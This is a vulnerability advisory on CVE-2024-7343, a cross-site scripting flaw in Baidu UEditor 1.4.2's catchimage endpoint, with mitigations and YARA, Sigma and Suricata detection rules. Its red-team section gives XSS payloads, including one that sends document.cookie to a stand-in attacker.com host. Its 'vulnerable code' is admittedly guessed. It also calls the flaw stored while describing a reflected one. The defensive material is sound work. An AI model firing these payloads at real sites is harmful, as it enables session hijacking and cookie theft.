CVE-2024-7343

Executive Summary

CVE-2024-7343 is a Stored Cross-Site Scripting (XSS) vulnerability in Baidu UEditor version 1.4.2, specifically within the catchimage action of the /ueditor142/php/controller.php endpoint. The vulnerability arises from insufficient sanitization of the source[] parameter, allowing an attacker to inject arbitrary JavaScript code that executes in the context of a victim’s browser. The vendor (Baidu) has been unresponsive, and no official patch exists. The exploit has been publicly disclosed, increasing the risk of active exploitation.

This vulnerability is particularly dangerous in environments where UEditor is used for rich text editing, as it can lead to session hijacking, data theft, or defacement. The attack is remote and requires no authentication, though user interaction (e.g., viewing a crafted page) is necessary for execution.

Supply Chain & Package Security

Baidu UEditor is a widely used open-source rich text editor, often integrated into web applications via direct download or package managers. As an NPM package (ueditor), this vulnerability affects all versions using the catchimage functionality. Organizations should audit their dependency trees for ueditor version 1.4.2 or earlier and consider replacing it with a maintained fork or alternative editor.

CVSS Breakdown & Threat Level

• CVSS Score: 4.7 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Changed (S:C)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. However, the lack of a patch and public exploit code increases the urgency for mitigation.

Deep Dive & Mechanics

The vulnerability resides in the catchimage action of controller.php. This action is designed to fetch remote images and save them locally. The source[] parameter accepts an array of URLs. Due to insufficient input validation and output encoding, an attacker can inject malicious JavaScript into the source[] parameter. When the server processes the request and returns a response (e.g., in JSON format), the injected script is reflected and executed in the user’s browser.

Root Cause: The application fails to sanitize or encode the source[] parameter before reflecting it in the response. This allows an attacker to break out of the expected context and inject arbitrary HTML/JavaScript.

Attack Flow:

1. Attacker crafts a malicious URL: http://target.com/ueditor142/php/controller.php?action=catchimage&source[]=javascript:alert(document.cookie)
2. The server processes the request and returns a response containing the unsanitized input.
3. A victim visits a page that includes the UEditor component and triggers the catchimage action (e.g., via a crafted link or embedded content).
4. The injected script executes in the victim’s browser, potentially stealing cookies, session tokens, or performing actions on behalf of the user.

Vulnerable vs. Patched Code

Vulnerable Code (UEditor 1.4.2): The controller.php file likely contains code similar to:

$source = $_GET['source'];
// No sanitization or encoding
echo json_encode(['state' => 'SUCCESS', 'list' => $source]);

Patched Code (Hypothetical): A secure version would sanitize and encode the output:

$source = $_GET['source'];
$sanitized = array_map('htmlspecialchars', $source);
echo json_encode(['state' => 'SUCCESS', 'list' => $sanitized]);

Since no official patch exists, organizations must implement their own input validation and output encoding.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running UEditor 1.4.2 with catchimage action accessible.
• No authentication required.

Exploit Payload:

GET /ueditor142/php/controller.php?action=catchimage&source[]=javascript:alert(document.cookie) HTTP/1.1
Host: target.com

Proof of Concept (PoC):

1. Deploy a local instance of UEditor 1.4.2.
2. Send the crafted request using curl:

   curl "http://localhost/ueditor142/php/controller.php?action=catchimage&source[]=<script>alert('XSS')</script>"
   

3. Observe the response containing the unsanitized script.

Advanced Exploitation:

• Use a payload to steal cookies:

  GET /ueditor142/php/controller.php?action=catchimage&source[]=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
  

Blue Team (Defensive)

Detection:

• Monitor logs for requests to /ueditor142/php/controller.php with action=catchimage and suspicious source[] parameters.
• Use WAF rules to block requests containing <script> or javascript: in the source[] parameter.

Mitigation:

• Disable the catchimage action if not needed.
• Implement input validation: allow only valid image URLs (e.g., ending in .jpg, .png).
• Apply output encoding using htmlspecialchars() or equivalent.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Requests to /ueditor142/php/controller.php?action=catchimage with source[] containing JavaScript payloads.
  • Outbound connections to attacker-controlled domains from the server (if payload exfiltrates data).

• File IOCs:

  • Log entries showing source[] parameters with <script> tags or javascript: URIs.

• Behavioral IOCs:

  • Unexpected execution of JavaScript in the context of the UEditor application.
  • Unauthorized cookie theft or session hijacking.

Detection Engineering

YARA Rule

rule CVE_2024_7343_UEditor_XSS {
    meta:
        description = "Detects exploitation attempts of CVE-2024-7343 in Baidu UEditor"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-7343"
    strings:
        $xss_payload = /source\[\]=.*(<script|javascript:|onerror=|onload=)/i
        $ueditor_path = /\/ueditor142\/php\/controller\.php/
    condition:
        $ueditor_path and $xss_payload
}

Sigma Rule

title: CVE-2024-7343 UEditor XSS Exploitation Attempt
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects HTTP requests targeting UEditor catchimage action with XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/ueditor142/php/controller.php?action=catchimage'
        cs-uri-query|re: 'source\[\]=.*(<script|javascript:|onerror=|onload=)'
    condition: selection
falsepositives:
    - Legitimate use of image URLs containing similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-7343 UEditor XSS Exploitation Attempt"; flow:to_server,established; content:"/ueditor142/php/controller.php"; http_uri; content:"action=catchimage"; http_uri; pcre:"/source\[\]=.*(<script|javascript:|onerror=|onload=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the catchimage action by removing or commenting out the relevant code in controller.php.
   • Apply a Web Application Firewall (WAF) rule to block requests containing XSS payloads in the source[] parameter.

2. Long-Term Fix:

   • Since the vendor is unresponsive, consider migrating to a maintained fork of UEditor or an alternative rich text editor (e.g., TinyMCE, CKEditor).
   • Implement input validation and output encoding for all user-supplied data.

3. Monitoring:

   • Enable detailed logging for all requests to UEditor endpoints.
   • Set up alerts for suspicious patterns as defined in the Sigma rule.

4. Patch:

   • No official patch exists. Apply the hypothetical patch described in the "Vulnerable vs. Patched Code" section.

Valters IT